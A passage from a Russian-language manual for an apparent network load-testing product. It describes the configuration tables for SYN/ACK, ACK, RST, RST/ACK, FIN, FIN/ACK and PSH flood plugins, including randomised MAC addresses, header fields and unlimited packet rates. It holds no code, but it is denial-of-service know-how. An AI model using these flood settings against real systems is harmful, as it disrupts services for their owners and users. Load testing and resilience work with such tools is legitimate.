| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи Параметр доступен, если параметр «Случайный Sequence Number» выключен | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 48;
Табл. 48 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 49.
Табл. 49 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
SYN/ACK Flood
SYN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов SYN-ACK на цель, заставляя ее обрабатывать множество соединений.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 50;
Табл. 50 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 51;
Табл. 51 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 52;
Табл. 52 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 53;
Табл. 53 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 54;
Табл. 54 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 55.
Табл. 56 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
ACK Flood
ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом ACK на цель, заставляя ее обрабатывать множество соединений.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 57;
Табл. 57 - Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»);
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 58;
Табл. 58 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 59;
Табл. 59 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 60;
Табл. 60 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 61.
Табл. 61 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
RST Flood
RST Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом RST на цель, которые сбрасывают активные TCP-соединения на целевом сервере.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 62;
Табл. 62 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 63;
Табл. 63 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 64;
Табл. 64 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 65;
Табл. 65 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 66;
Табл. 66 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 67.
Табл. 67 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
RST/ACK Flood
RST/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами RST и ACK, что приводит к сбросу соединений и нарушению нормального обмена данными.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 68;
Табл. 68 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 69;
Табл. 69 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 70;
Табл. 707 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 71;
Табл. 71 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 72;
Табл. 72 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 73.
Табл. 73 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
FIN Flood
FIN Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным с флагом FIN для завершения TCP-соединений. Этот шаблон используется для тестирования устойчивости сервера к неожиданным запросам на завершение соединений.
Данный плагин состоит из следующих параметров:
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 74;
Табл. 74 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 75;
Табл. 75 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 76;
Табл. 76 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 77;
Табл. 77 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 78;
Табл. 78 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 79.
Табл. 79 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
FIN/ACK Flood
FIN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами FIN и ACK, что может привести к ненужному завершению активных соединений. Этот шаблон помогает проверить, как сервер реагирует на такие запросы.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 80;
Табл. 80 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 81;
Табл. 81 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 82;
Табл. 82 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 83;
Табл. 83 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 84;
Табл. 84 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 85.
Табл. 85 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
PSH Flood
PSH Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом PSH, требующих немедленной обработки данных на стороне получателя. Этот шаблон используется для тестирования пропускной способности сервера и его способности обрабатывать интенсивный трафик.
Данный плагин состоит из следующих параметров:
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 86;
Табл. 86 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
